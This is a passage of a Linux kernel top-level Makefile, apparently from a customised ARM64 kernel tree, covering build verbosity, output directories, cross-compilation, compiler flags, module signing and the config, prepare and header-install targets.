KBUILD_VERBOSE = $(V)
endif
ifndef KBUILD_VERBOSE
KBUILD_VERBOSE = 0
endif
# Call a source code checker (by default, "sparse") as part of the
# C compilation.
#
# Use 'make C=1' to enable checking of only re-compiled files.
# Use 'make C=2' to enable checking of *all* source files, regardless
# of whether they are re-compiled or not.
#
# See the file "Documentation/sparse.txt" for more details, including
# where to get the "sparse" utility.
ifeq ("$(origin C)", "command line")
KBUILD_CHECKSRC = $(C)
endif
ifndef KBUILD_CHECKSRC
KBUILD_CHECKSRC = 0
endif
# Use make M=dir to specify directory of external module to build
# Old syntax make ... SUBDIRS=$PWD is still supported
# Setting the environment variable KBUILD_EXTMOD take precedence
ifdef SUBDIRS
KBUILD_EXTMOD ?= $(SUBDIRS)
endif
ifeq ("$(origin M)", "command line")
KBUILD_EXTMOD := $(M)
endif
# kbuild supports saving output files in a separate directory.
# To locate output files in a separate directory two syntaxes are supported.
# In both cases the working directory must be the root of the kernel src.
# 1) O=
# Use "make O=dir/to/store/output/files/"
#
# 2) Set KBUILD_OUTPUT
# Set the environment variable KBUILD_OUTPUT to point to the directory
# where the output files shall be placed.
# export KBUILD_OUTPUT=dir/to/store/output/files/
# make
#
# The O= assignment takes precedence over the KBUILD_OUTPUT environment
# variable.
# KBUILD_SRC is set on invocation of make in OBJ directory
# KBUILD_SRC is not intended to be used by the regular user (for now)
ifeq ($(KBUILD_SRC),)
# OK, Make called in directory where kernel src resides
# Do we want to locate output files in a separate directory?
ifeq ("$(origin O)", "command line")
KBUILD_OUTPUT := $(O)
endif
ifeq ("$(origin W)", "command line")
export KBUILD_ENABLE_EXTRA_GCC_CHECKS := $(W)
endif
# That's our default target when none is given on the command line
PHONY := _all
_all:
# Cancel implicit rules on top Makefile
$(CURDIR)/Makefile Makefile: ;
ifneq ($(KBUILD_OUTPUT),)
# Invoke a second make in the output directory, passing relevant variables
# check that the output directory actually exists
saved-output := $(KBUILD_OUTPUT)
KBUILD_OUTPUT := $(shell cd $(KBUILD_OUTPUT) && /bin/pwd)
$(if $(KBUILD_OUTPUT),, \
$(error output directory "$(saved-output)" does not exist))
PHONY += $(MAKECMDGOALS) sub-make
$(filter-out _all sub-make $(CURDIR)/Makefile, $(MAKECMDGOALS)) _all: sub-make
@:
sub-make: FORCE
$(if $(KBUILD_VERBOSE:1=),@)$(MAKE) -C $(KBUILD_OUTPUT) \
KBUILD_SRC=$(CURDIR) \
KBUILD_EXTMOD="$(KBUILD_EXTMOD)" -f $(CURDIR)/Makefile \
$(filter-out _all sub-make,$(MAKECMDGOALS))
# Leave processing to above invocation of make
skip-makefile := 1
endif # ifneq ($(KBUILD_OUTPUT),)
endif # ifeq ($(KBUILD_SRC),)
# We process the rest of the Makefile if this is the final invocation of make
ifeq ($(skip-makefile),)
# If building an external module we do not care about the all: rule
# but instead _all depend on modules
PHONY += all
ifeq ($(KBUILD_EXTMOD),)
_all: all
else
_all: modules
endif
srctree := $(if $(KBUILD_SRC),$(KBUILD_SRC),$(CURDIR))
objtree := $(CURDIR)
src := $(srctree)
obj := $(objtree)
VPATH := $(srctree)$(if $(KBUILD_EXTMOD),:$(KBUILD_EXTMOD))
export srctree objtree VPATH
# SUBARCH tells the usermode build what the underlying arch is. That is set
# first, and if a usermode build is happening, the "ARCH=um" on the command
# line overrides the setting of ARCH below. If a native build is happening,
# then ARCH is assigned, getting whatever value it gets normally, and
# SUBARCH is subsequently ignored.
SUBARCH := $(shell uname -m | sed -e s/i.86/x86/ -e s/x86_64/x86/ \
-e s/sun4u/sparc64/ \
-e s/arm.*/arm/ -e s/sa110/arm/ \
-e s/s390x/s390/ -e s/parisc64/parisc/ \
-e s/ppc.*/powerpc/ -e s/mips.*/mips/ \
-e s/sh[234].*/sh/ -e s/aarch64.*/arm64/ )
# Cross compiling and selecting different set of gcc/bin-utils
# ---------------------------------------------------------------------------
#
# When performing cross compilation for other architectures ARCH shall be set
# to the target architecture. (See arch/* for the possibilities).
# ARCH can be set during invocation of make:
# make ARCH=ia64
# Another way is to have ARCH set in the environment.
# The default ARCH is the host where make is executed.
# CROSS_COMPILE specify the prefix used for all executables used
# during compilation. Only gcc and related bin-utils executables
# are prefixed with $(CROSS_COMPILE).
# CROSS_COMPILE can be set on the command line
# make CROSS_COMPILE=ia64-linux-
# Alternatively CROSS_COMPILE can be set in the environment.
# A third alternative is to store a setting in .config so that plain
# "make" in the configured kernel build directory always uses that.
# Default value for CROSS_COMPILE is not to prefix executables
# Note: Some architectures assign CROSS_COMPILE in their arch/*/Makefile
ARCH ?= $(SUBARCH)
CROSS_COMPILE ?= $(CONFIG_CROSS_COMPILE:"%"=%)
# Architecture as present in compile.h
UTS_MACHINE := $(ARCH)
SRCARCH := $(ARCH)
# Additional ARCH settings for x86
ifeq ($(ARCH),i386)
SRCARCH := x86
endif
ifeq ($(ARCH),x86_64)
SRCARCH := x86
endif
# Additional ARCH settings for sparc
ifeq ($(ARCH),sparc32)
SRCARCH := sparc
endif
ifeq ($(ARCH),sparc64)
SRCARCH := sparc
endif
# Additional ARCH settings for sh
ifeq ($(ARCH),sh64)
SRCARCH := sh
endif
# Additional ARCH settings for tile
ifeq ($(ARCH),tilepro)
SRCARCH := tile
endif
ifeq ($(ARCH),tilegx)
SRCARCH := tile
endif
# Where to locate arch specific headers
hdr-arch := $(SRCARCH)
KCONFIG_CONFIG ?= .config
export KCONFIG_CONFIG
# SHELL used by kbuild
CONFIG_SHELL := $(shell if [ -x "$$BASH" ]; then echo $$BASH; \
else if [ -x /bin/bash ]; then echo /bin/bash; \
else echo sh; fi ; fi)
HOSTCC = gcc
HOSTCXX = g++
HOSTCFLAGS = -Wall -Wmissing-prototypes -Wstrict-prototypes -Ofast -fomit-frame-pointer -std=gnu89
HOSTCXXFLAGS = -Ofast
# Decide whether to build built-in, modular, or both.
# Normally, just do built-in.
KBUILD_MODULES :=
KBUILD_BUILTIN := 1
# If we have only "make modules", don't compile built-in objects.
# When we're building modules with modversions, we need to consider
# the built-in objects during the descend as well, in order to
# make sure the checksums are up to date before we record them.
ifeq ($(MAKECMDGOALS),modules)
KBUILD_BUILTIN := $(if $(CONFIG_MODVERSIONS),1)
endif
# If we have "make <whatever> modules", compile modules
# in addition to whatever we do anyway.
# Just "make" or "make all" shall build modules as well
ifneq ($(filter all _all modules,$(MAKECMDGOALS)),)
KBUILD_MODULES := 1
endif
ifeq ($(MAKECMDGOALS),)
KBUILD_MODULES := 1
endif
export KBUILD_MODULES KBUILD_BUILTIN
export KBUILD_CHECKSRC KBUILD_SRC KBUILD_EXTMOD
# Beautify output
# ---------------------------------------------------------------------------
#
# Normally, we echo the whole command before executing it. By making
# that echo $($(quiet)$(cmd)), we now have the possibility to set
# $(quiet) to choose other forms of output instead, e.g.
#
# quiet_cmd_cc_o_c = Compiling $(RELDIR)/$@
# cmd_cc_o_c = $(CC) $(c_flags) -c -o $@ $<
#
# If $(quiet) is empty, the whole command will be printed.
# If it is set to "quiet_", only the short version will be printed.
# If it is set to "silent_", nothing will be printed at all, since
# the variable $(silent_cmd_cc_o_c) doesn't exist.
#
# A simple variant is to prefix commands with $(Q) - that's useful
# for commands that shall be hidden in non-verbose mode.
#
# $(Q)ln $@ :<
#
# If KBUILD_VERBOSE equals 0 then the above command will be hidden.
# If KBUILD_VERBOSE equals 1 then the above command is displayed.
ifeq ($(KBUILD_VERBOSE),1)
quiet =
Q =
else
quiet=quiet_
Q = @
endif
# If the user is running make -s (silent mode), suppress echoing of
# commands
ifneq ($(filter s% -s%,$(MAKEFLAGS)),)
quiet=silent_
endif
export quiet Q KBUILD_VERBOSE
# Look for make include files relative to root of kernel src
MAKEFLAGS += --include-dir=$(srctree)
# We need some generic definitions (do not try to remake the file).
$(srctree)/scripts/Kbuild.include: ;
include $(srctree)/scripts/Kbuild.include
# Make variables (CC, etc...)
AS = $(CROSS_COMPILE)as
LD = $(CROSS_COMPILE)ld
REAL_CC = $(CROSS_COMPILE)gcc
CPP = $(CC) -E
AR = $(CROSS_COMPILE)ar
NM = $(CROSS_COMPILE)nm
STRIP = $(CROSS_COMPILE)strip
OBJCOPY = $(CROSS_COMPILE)objcopy
OBJDUMP = $(CROSS_COMPILE)objdump
AWK = awk
GENKSYMS = scripts/genksyms/genksyms
INSTALLKERNEL := installkernel
DEPMOD = /sbin/depmod
PERL = perl
CHECK = sparse
# Use the wrapper for the compiler. This wrapper scans for new
# warnings and causes the build to stop upon encountering them.
CC = $(srctree)/scripts/gcc-wrapper.py $(REAL_CC)
CHECKFLAGS := -D__linux__ -Dlinux -D__STDC__ -Dunix -D__unix__ \
-Wbitwise -Wno-return-void $(CF)
CFLAGS_MODULE =
AFLAGS_MODULE =
LDFLAGS_MODULE =
CFLAGS_KERNEL =
AFLAGS_KERNEL =
CFLAGS_GCOV = -fprofile-arcs -ftest-coverage
# fall back to -march=armv8-a in case the compiler isn't compatible
# with -mcpu and -mtune
ARM_ARCH_OPT := -mcpu=cortex-a57.cortex-a53 -mtune=cortex-a57.cortex-a53
GEN_OPT_FLAGS := $(call cc-option,$(ARM_ARCH_OPT),-march=armv8-a) \
-g0 \
-DNDEBUG \
-fomit-frame-pointer \
-fmodulo-sched \
-fmodulo-sched-allow-regmoves \
-fivopts \
-std=gnu89
# Use USERINCLUDE when you must reference the UAPI directories only.
USERINCLUDE := \
-I$(srctree)/arch/$(hdr-arch)/include/uapi \
-Iarch/$(hdr-arch)/include/generated/uapi \
-I$(srctree)/include/uapi \
-Iinclude/generated/uapi \
-include $(srctree)/include/linux/kconfig.h
# Use LINUXINCLUDE when you must reference the include/ directory.
# Needed to be compatible with the O= option
LINUXINCLUDE := \
-I$(srctree)/arch/$(hdr-arch)/include \
-Iarch/$(hdr-arch)/include/generated \
$(if $(KBUILD_SRC), -I$(srctree)/include) \
-Iinclude \
$(USERINCLUDE)
KBUILD_CPPFLAGS := -D__KERNEL__
KBUILD_CFLAGS := -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs \
-fno-strict-aliasing -fno-common \
-Werror-implicit-function-declaration \
-Wno-format-security \
-fno-delete-null-pointer-checks\
$(GEN_OPT_FLAGS)
KBUILD_AFLAGS_KERNEL := $(GEN_OPT_FLAGS)
KBUILD_CFLAGS_KERNEL := $(GEN_OPT_FLAGS)
KBUILD_AFLAGS := -D__ASSEMBLY__
KBUILD_AFLAGS_MODULE := -DMODULE $(GEN_OPT_FLAGS)
KBUILD_CFLAGS_MODULE := -DMODULE $(GEN_OPT_FLAGS)
KBUILD_LDFLAGS_MODULE := -T $(srctree)/scripts/module-common.lds
# Read KERNELRELEASE from include/config/kernel.release (if it exists)
KERNELRELEASE = $(shell cat include/config/kernel.release 2> /dev/null)
KERNELVERSION = $(VERSION)$(if $(PATCHLEVEL),.$(PATCHLEVEL)$(if $(SUBLEVEL),.$(SUBLEVEL)))$(EXTRAVERSION)
export VERSION PATCHLEVEL SUBLEVEL KERNELRELEASE KERNELVERSION
export ARCH SRCARCH CONFIG_SHELL HOSTCC HOSTCFLAGS CROSS_COMPILE AS LD CC
export CPP AR NM STRIP OBJCOPY OBJDUMP
export MAKE AWK GENKSYMS INSTALLKERNEL PERL UTS_MACHINE
export HOSTCXX HOSTCXXFLAGS LDFLAGS_MODULE CHECK CHECKFLAGS
export KBUILD_CPPFLAGS NOSTDINC_FLAGS LINUXINCLUDE OBJCOPYFLAGS LDFLAGS
export KBUILD_CFLAGS CFLAGS_KERNEL CFLAGS_MODULE CFLAGS_GCOV
export KBUILD_AFLAGS AFLAGS_KERNEL AFLAGS_MODULE
export KBUILD_AFLAGS_MODULE KBUILD_CFLAGS_MODULE KBUILD_LDFLAGS_MODULE
export KBUILD_AFLAGS_KERNEL KBUILD_CFLAGS_KERNEL
export KBUILD_ARFLAGS
# When compiling out-of-tree modules, put MODVERDIR in the module
# tree rather than in the kernel tree. The kernel tree might
# even be read-only.
export MODVERDIR := $(if $(KBUILD_EXTMOD),$(firstword $(KBUILD_EXTMOD))/).tmp_versions
# Files to ignore in find ... statements
RCS_FIND_IGNORE := \( -name SCCS -o -name BitKeeper -o -name .svn -o -name CVS \
-o -name .pc -o -name .hg -o -name .git \) -prune -o
export RCS_TAR_IGNORE := --exclude SCCS --exclude BitKeeper --exclude .svn \
--exclude CVS --exclude .pc --exclude .hg --exclude .git
# ===========================================================================
# Rules shared between *config targets and build targets
# Basic helpers built in scripts/
PHONY += scripts_basic
scripts_basic:
$(Q)$(MAKE) $(build)=scripts/basic
$(Q)rm -f .tmp_quiet_recordmcount
# To avoid any implicit rule to kick in, define an empty command.
scripts/basic/%: scripts_basic ;
PHONY += outputmakefile
# outputmakefile generates a Makefile in the output directory, if using a
# separate output directory. This allows convenient use of make in the
# output directory.
outputmakefile:
ifneq ($(KBUILD_SRC),)
$(Q)ln -fsn $(srctree) source
$(Q)$(CONFIG_SHELL) $(srctree)/scripts/mkmakefile \
$(srctree) $(objtree) $(VERSION) $(PATCHLEVEL)
endif
# Support for using generic headers in asm-generic
PHONY += asm-generic
asm-generic:
$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.asm-generic \
src=asm obj=arch/$(SRCARCH)/include/generated/asm
$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.asm-generic \
src=uapi/asm obj=arch/$(SRCARCH)/include/generated/uapi/asm
# To make sure we do not include .config for any of the *config targets
# catch them early, and hand them over to scripts/kconfig/Makefile
# It is allowed to specify more targets when calling make, including
# mixing *config targets and build targets.
# For example 'make oldconfig all'.
# Detect when mixed targets is specified, and make a second invocation
# of make so .config is not included in this case either (for *config).
version_h := include/generated/uapi/linux/version.h
no-dot-config-targets := clean mrproper distclean \
cscope gtags TAGS tags help %docs check% coccicheck \
$(version_h) headers_% archheaders archscripts \
kernelversion %src-pkg
config-targets := 0
mixed-targets := 0
dot-config := 1
ifneq ($(filter $(no-dot-config-targets), $(MAKECMDGOALS)),)
ifeq ($(filter-out $(no-dot-config-targets), $(MAKECMDGOALS)),)
dot-config := 0
endif
endif
ifeq ($(KBUILD_EXTMOD),)
ifneq ($(filter config %config,$(MAKECMDGOALS)),)
config-targets := 1
ifneq ($(filter-out config %config,$(MAKECMDGOALS)),)
mixed-targets := 1
endif
endif
endif
ifeq ($(mixed-targets),1)
# ===========================================================================
# We're called with mixed targets (*config and build targets).
# Handle them one by one.
%:: FORCE
$(Q)$(MAKE) -C $(srctree) KBUILD_SRC= $@
else
ifeq ($(config-targets),1)
# ===========================================================================
# *config targets only - make sure prerequisites are updated, and descend
# in scripts/kconfig to make the *config target
# Read arch specific Makefile to set KBUILD_DEFCONFIG as needed.
# KBUILD_DEFCONFIG may point out an alternative default configuration
# used for 'make defconfig'
include $(srctree)/arch/$(SRCARCH)/Makefile
export KBUILD_DEFCONFIG KBUILD_KCONFIG
config: scripts_basic outputmakefile FORCE
$(Q)mkdir -p include/linux include/config
$(Q)$(MAKE) $(build)=scripts/kconfig $@
%config: scripts_basic outputmakefile FORCE
$(Q)mkdir -p include/linux include/config
$(Q)$(MAKE) $(build)=scripts/kconfig $@
else
# ===========================================================================
# Build targets only - this includes vmlinux, arch specific targets, clean
# targets and others. In general all targets except *config targets.
ifeq ($(KBUILD_EXTMOD),)
# Additional helpers built in scripts/
# Carefully list dependencies so we do not try to build scripts twice
# in parallel
PHONY += scripts
scripts: scripts_basic include/config/auto.conf include/config/tristate.conf \
asm-generic
$(Q)$(MAKE) $(build)=$(@)
# Objects we will link into vmlinux / subdirs we need to visit
init-y := init/
drivers-y := drivers/ sound/ firmware/
net-y := net/
libs-y := lib/
core-y := usr/
endif # KBUILD_EXTMOD
ifeq ($(dot-config),1)
# Read in config
-include include/config/auto.conf
ifeq ($(KBUILD_EXTMOD),)
# Read in dependencies to all Kconfig* files, make sure to run
# oldconfig if changes are detected.
-include include/config/auto.conf.cmd
# To avoid any implicit rule to kick in, define an empty command
$(KCONFIG_CONFIG) include/config/auto.conf.cmd: ;
# If .config is newer than include/config/auto.conf, someone tinkered
# with it and forgot to run make oldconfig.
# if auto.conf.cmd is missing then we are probably in a cleaned tree so
# we execute the config step to be sure to catch updated Kconfig files
include/config/%.conf: $(KCONFIG_CONFIG) include/config/auto.conf.cmd
$(Q)$(MAKE) -f $(srctree)/Makefile silentoldconfig
else
# external modules needs include/generated/autoconf.h and include/config/auto.conf
# but do not care if they are up-to-date. Use auto.conf to trigger the test
PHONY += include/config/auto.conf
include/config/auto.conf:
$(Q)test -e include/generated/autoconf.h -a -e $@ || ( \
echo >&2; \
echo >&2 " ERROR: Kernel configuration is invalid."; \
echo >&2 " include/generated/autoconf.h or $@ are missing.";\
echo >&2 " Run 'make oldconfig && make prepare' on kernel src to fix it."; \
echo >&2 ; \
/bin/false)
endif # KBUILD_EXTMOD
else
# Dummy target needed, because used as prerequisite
include/config/auto.conf: ;
endif # $(dot-config)
# The all: target is the default when no target is given on the
# command line.
# This allow a user to issue only 'make' to build a kernel including modules
# Defaults to vmlinux, but the arch makefile usually adds further targets
all: vmlinux
ifdef CONFIG_CC_OPTIMIZE_FOR_SIZE
KBUILD_CFLAGS += -Os $(call cc-disable-warning,maybe-uninitialized,)
else
KBUILD_CFLAGS += -Ofast -Wno-maybe-uninitialized
endif
include $(srctree)/arch/$(SRCARCH)/Makefile
ifdef CONFIG_READABLE_ASM
# Disable optimizations that make assembler listings hard to read.
# reorder blocks reorders the control in the function
# ipa clone creates specialized cloned functions
# partial inlining inlines only parts of functions
KBUILD_CFLAGS += $(call cc-option,-fno-reorder-blocks,) \
$(call cc-option,-fno-ipa-cp-clone,) \
$(call cc-option,-fno-partial-inlining)
endif
ifneq ($(CONFIG_FRAME_WARN),0)
KBUILD_CFLAGS += $(call cc-option,-Wframe-larger-than=${CONFIG_FRAME_WARN})
endif
# Handle stack protector mode.
ifdef CONFIG_CC_STACKPROTECTOR_REGULAR
stackp-flag := -fstack-protector
ifeq ($(call cc-option, $(stackp-flag)),)
$(warning Cannot use CONFIG_CC_STACKPROTECTOR_REGULAR: \
-fstack-protector not supported by compiler)
endif
else
ifdef CONFIG_CC_STACKPROTECTOR_STRONG
stackp-flag := -fstack-protector-strong
ifeq ($(call cc-option, $(stackp-flag)),)
$(warning Cannot use CONFIG_CC_STACKPROTECTOR_STRONG: \
-fstack-protector-strong not supported by compiler)
endif
else
# Force off for distro compilers that enable stack protector by default.
stackp-flag := $(call cc-option, -fno-stack-protector)
endif
endif
KBUILD_CFLAGS += $(stackp-flag)
# This warning generated too much noise in a regular build.
# Use make W=1 to enable this warning (see scripts/Makefile.build)
KBUILD_CFLAGS += $(call cc-disable-warning, unused-but-set-variable)
ifdef CONFIG_FRAME_POINTER
KBUILD_CFLAGS += -fno-omit-frame-pointer -fno-optimize-sibling-calls
else
# Some targets (ARM with Thumb2, for example), can't be built with frame
# pointers. For those, we don't have FUNCTION_TRACER automatically
# select FRAME_POINTER. However, FUNCTION_TRACER adds -pg, and this is
# incompatible with -fomit-frame-pointer with current GCC, so we don't use
# -fomit-frame-pointer with FUNCTION_TRACER.
ifndef CONFIG_FUNCTION_TRACER
KBUILD_CFLAGS += -fomit-frame-pointer
endif
endif
KBUILD_CFLAGS += $(call cc-option, -fno-var-tracking-assignments)
ifdef CONFIG_DEBUG_INFO
KBUILD_CFLAGS += -g
KBUILD_AFLAGS += -gdwarf-2
endif
ifdef CONFIG_DEBUG_INFO_REDUCED
KBUILD_CFLAGS += $(call cc-option, -femit-struct-debug-baseonly) \
$(call cc-option,-fno-var-tracking)
endif
ifdef CONFIG_FUNCTION_TRACER
ifdef CONFIG_HAVE_FENTRY
CC_USING_FENTRY := $(call cc-option, -mfentry -DCC_USING_FENTRY)
endif
KBUILD_CFLAGS += -pg $(CC_USING_FENTRY)
KBUILD_AFLAGS += $(CC_USING_FENTRY)
ifdef CONFIG_DYNAMIC_FTRACE
ifdef CONFIG_HAVE_C_RECORDMCOUNT
BUILD_C_RECORDMCOUNT := y
export BUILD_C_RECORDMCOUNT
endif
endif
endif
# We trigger additional mismatches with less inlining
ifdef CONFIG_DEBUG_SECTION_MISMATCH
KBUILD_CFLAGS += $(call cc-option, -fno-inline-functions-called-once)
endif
# arch Makefile may override CC so keep this after arch Makefile is included
NOSTDINC_FLAGS += -nostdinc -isystem $(shell $(CC) -print-file-name=include)
CHECKFLAGS += $(NOSTDINC_FLAGS)
# warn about C99 declaration after statement
KBUILD_CFLAGS += $(call cc-option,-Wdeclaration-after-statement,)
# disable pointer signed / unsigned warnings in gcc 4.0
KBUILD_CFLAGS += $(call cc-disable-warning, pointer-sign)
# disable invalid "can't wrap" optimizations for signed / pointers
KBUILD_CFLAGS += $(call cc-option,-fno-strict-overflow)
# conserve stack if available
KBUILD_CFLAGS += $(call cc-option,-fconserve-stack)
# use the deterministic mode of AR if available
KBUILD_ARFLAGS := $(call ar-option,D)
# check for 'asm goto'
ifeq ($(shell $(CONFIG_SHELL) $(srctree)/scripts/gcc-goto.sh $(CC)), y)
KBUILD_CFLAGS += -DCC_HAVE_ASM_GOTO
endif
# Add user supplied CPPFLAGS, AFLAGS and CFLAGS as the last assignments
KBUILD_CPPFLAGS += $(KCPPFLAGS)
KBUILD_AFLAGS += $(KAFLAGS)
KBUILD_CFLAGS += $(KCFLAGS)
# Use --build-id when available.
LDFLAGS_BUILD_ID = $(patsubst -Wl$(comma)%,%,\
$(call cc-ldoption, -Wl$(comma)--build-id,))
KBUILD_LDFLAGS_MODULE += $(LDFLAGS_BUILD_ID)
LDFLAGS_vmlinux += $(LDFLAGS_BUILD_ID)
ifeq ($(CONFIG_STRIP_ASM_SYMS),y)
LDFLAGS_vmlinux += $(call ld-option, -X,)
endif
LDFLAGS_vmlinux += $(call ld-option, --fix-cortex-a53-843419)
LDFLAGS_MODULE += $(call ld-option, --fix-cortex-a53-843419)
# Default kernel image to build when no specific target is given.
# KBUILD_IMAGE may be overruled on the command line or
# set in the environment
# Also any assignments in arch/$(ARCH)/Makefile take precedence over
# this default value
export KBUILD_IMAGE ?= vmlinux
#
# INSTALL_PATH specifies where to place the updated kernel and system map
# images. Default is /boot, but you can set it to other values
export INSTALL_PATH ?= /boot
#
# INSTALL_MOD_PATH specifies a prefix to MODLIB for module directory
# relocations required by build roots. This is not defined in the
# makefile but the argument can be passed to make if needed.
#
MODLIB = $(INSTALL_MOD_PATH)/lib/modules/$(KERNELRELEASE)
export MODLIB
#
# INSTALL_MOD_STRIP, if defined, will cause modules to be
# stripped after they are installed. If INSTALL_MOD_STRIP is '1', then
# the default option --strip-debug will be used. Otherwise,
# INSTALL_MOD_STRIP value will be used as the options to the strip command.
ifdef INSTALL_MOD_STRIP
ifeq ($(INSTALL_MOD_STRIP),1)
mod_strip_cmd = $(STRIP) --strip-debug
else
mod_strip_cmd = $(STRIP) $(INSTALL_MOD_STRIP)
endif # INSTALL_MOD_STRIP=1
else
mod_strip_cmd = true
endif # INSTALL_MOD_STRIP
export mod_strip_cmd
ifdef CONFIG_MODULE_SIG_ALL
MODSECKEY = ./signing_key.priv
MODPUBKEY = ./signing_key.x509
export MODPUBKEY
mod_sign_cmd = perl $(srctree)/scripts/sign-file $(CONFIG_MODULE_SIG_HASH) $(MODSECKEY) $(MODPUBKEY)
else
mod_sign_cmd = true
endif
export mod_sign_cmd
ifeq ($(KBUILD_EXTMOD),)
core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/
vmlinux-dirs := $(patsubst %/,%,$(filter %/, $(init-y) $(init-m) \
$(core-y) $(core-m) $(drivers-y) $(drivers-m) \
$(net-y) $(net-m) $(libs-y) $(libs-m)))
vmlinux-alldirs := $(sort $(vmlinux-dirs) $(patsubst %/,%,$(filter %/, \
$(init-n) $(init-) \
$(core-n) $(core-) $(drivers-n) $(drivers-) \
$(net-n) $(net-) $(libs-n) $(libs-))))
init-y := $(patsubst %/, %/built-in.o, $(init-y))
core-y := $(patsubst %/, %/built-in.o, $(core-y))
drivers-y := $(patsubst %/, %/built-in.o, $(drivers-y))
net-y := $(patsubst %/, %/built-in.o, $(net-y))
libs-y1 := $(patsubst %/, %/lib.a, $(libs-y))
libs-y2 := $(patsubst %/, %/built-in.o, $(libs-y))
libs-y := $(libs-y1) $(libs-y2)
# Externally visible symbols (used by link-vmlinux.sh)
export KBUILD_VMLINUX_INIT := $(head-y) $(init-y)
export KBUILD_VMLINUX_MAIN := $(core-y) $(libs-y) $(drivers-y) $(net-y)
export KBUILD_LDS := arch/$(SRCARCH)/kernel/vmlinux.lds
export LDFLAGS_vmlinux
# used by scripts/pacmage/Makefile
export KBUILD_ALLDIRS := $(sort $(filter-out arch/%,$(vmlinux-alldirs)) arch Documentation include samples scripts tools virt)
vmlinux-deps := $(KBUILD_LDS) $(KBUILD_VMLINUX_INIT) $(KBUILD_VMLINUX_MAIN)
# Final link of vmlinux
cmd_link-vmlinux = $(CONFIG_SHELL) $< $(LD) $(LDFLAGS) $(LDFLAGS_vmlinux)
quiet_cmd_link-vmlinux = LINK $@
# Include targets which we want to
# execute if the rest of the kernel build went well.
vmlinux: scripts/link-vmlinux.sh $(vmlinux-deps) FORCE
ifdef CONFIG_HEADERS_CHECK
$(Q)$(MAKE) -f $(srctree)/Makefile headers_check
endif
ifdef CONFIG_SAMPLES
$(Q)$(MAKE) $(build)=samples
endif
ifdef CONFIG_BUILD_DOCSRC
$(Q)$(MAKE) $(build)=Documentation
endif
+$(call if_changed,link-vmlinux)
# The actual objects are generated when descending,
# make sure no implicit rule kicks in
$(sort $(vmlinux-deps)): $(vmlinux-dirs) ;
# Handle descending into subdirectories listed in $(vmlinux-dirs)
# Preset locale variables to speed up the build process. Limit locale
# tweaks to this spot to avoid wrong language settings when running
# make menuconfig etc.
# Error messages still appears in the original language
PHONY += $(vmlinux-dirs)
$(vmlinux-dirs): prepare scripts
$(Q)$(MAKE) $(build)=$@
# Store (new) KERNELRELASE string in include/config/kernel.release
include/config/kernel.release: include/config/auto.conf FORCE
$(Q)rm -f $@
$(Q)echo "$(KERNELVERSION)$$($(CONFIG_SHELL) $(srctree)/scripts/setlocalversion $(srctree))" > $@
# Things we need to do before we recursively start building the kernel
# or the modules are listed in "prepare".
# A multi level approach is used. prepareN is processed before prepareN-1.
# archprepare is used in arch Makefiles and when processed asm symlink,
# version.h and scripts_basic is processed / created.
# Listed in dependency order
PHONY += prepare archprepare prepare0 prepare1 prepare2 prepare3
# prepare3 is used to check if we are building in a separate output directory,
# and if so do:
# 1) Check that make has not been executed in the kernel src $(srctree)
prepare3: include/config/kernel.release
ifneq ($(KBUILD_SRC),)
@$(kecho) ' Using $(srctree) as source for kernel'
$(Q)if [ -f $(srctree)/.config -o -d $(srctree)/include/config ]; then \
echo >&2 " $(srctree) is not clean, please run 'make mrproper'"; \
echo >&2 " in the '$(srctree)' directory.";\
/bin/false; \
fi;
endif
# prepare2 creates a makefile if using a separate output directory
prepare2: prepare3 outputmakefile asm-generic
prepare1: prepare2 $(version_h) include/generated/utsrelease.h \
include/config/auto.conf
$(cmd_crmodverdir)
archprepare: archheaders archscripts prepare1 scripts_basic
prepare0: archprepare FORCE
$(Q)$(MAKE) $(build)=.
# All the preparing..
prepare: prepare0
# Generate some files
# ---------------------------------------------------------------------------
# KERNELRELEASE can change from a few different places, meaning version.h
# needs to be updated, so this check is forced on all builds
uts_len := 64
define filechk_utsrelease.h
if [ `echo -n "$(KERNELRELEASE)" | wc -c ` -gt $(uts_len) ]; then \
echo '"$(KERNELRELEASE)" exceeds $(uts_len) characters' >&2; \
exit 1; \
fi; \
(echo \#define UTS_RELEASE \"$(KERNELRELEASE)\";)
endef
define filechk_version.h
(echo \#define LINUX_VERSION_CODE $(shell \
expr $(VERSION) \* 65536 + 0$(PATCHLEVEL) \* 256 + 0$(SUBLEVEL)); \
echo '#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))';)
endef
$(version_h): $(srctree)/Makefile FORCE
$(call filechk,version.h)
include/generated/utsrelease.h: include/config/kernel.release FORCE
$(call filechk,utsrelease.h)
PHONY += headerdep
headerdep:
$(Q)find $(srctree)/include/ -name '*.h' | xargs --max-args 1 \
$(srctree)/scripts/headerdep.pl -I$(srctree)/include
# ---------------------------------------------------------------------------
PHONY += depend dep
depend dep:
@echo '*** Warning: make $@ is unnecessary now.'
# ---------------------------------------------------------------------------
# Firmware install
INSTALL_FW_PATH=$(INSTALL_MOD_PATH)/lib/firmware
export INSTALL_FW_PATH
PHONY += firmware_install
firmware_install: FORCE
@mkdir -p $(objtree)/firmware
$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.fwinst obj=firmware __fw_install
# ---------------------------------------------------------------------------
# Kernel headers
#Default location for installed headers
export INSTALL_HDR_PATH = $(objtree)/usr
hdr-inst := -rR -f $(srctree)/scripts/Makefile.headersinst obj
# If we do an all arch process set dst to asm-$(hdr-arch)
hdr-dst = $(if $(KBUILD_HEADERS), dst=include/asm-$(hdr-arch), dst=include/asm)
PHONY += archheaders
archheaders:
PHONY += archscripts
archscripts:
PHONY += __headers
__headers: $(version_h) scripts_basic asm-generic archheaders archscripts FORCE
$(Q)$(MAKE) $(build)=scripts build_unifdef
PHONY += headers_install_all
headers_install_all:
$(Q)$(CONFIG_SHELL) $(srctree)/scripts/headers.sh install
PHONY += headers_install
headers_install: __headers
$(if $(wildcard $(srctree)/arch/$(hdr-arch)/include/uapi/asm/Kbuild),, \
$(error Headers not exportable for the $(SRCARCH) architecture))
$(Q)$(MAKE) $(hdr-inst)=include/uapi
$(Q)$(MAKE) $(hdr-inst)=arch/$(hdr-arch)/include/uapi/asm $(hdr-dst)
PHONY += headers_check_all
headers_check_all: headers_install_all
$(Q)$(CONFIG_SHELL) $(srctree)/scripts/headers.sh check
PHONY += headers_check
headers_check: headers_install
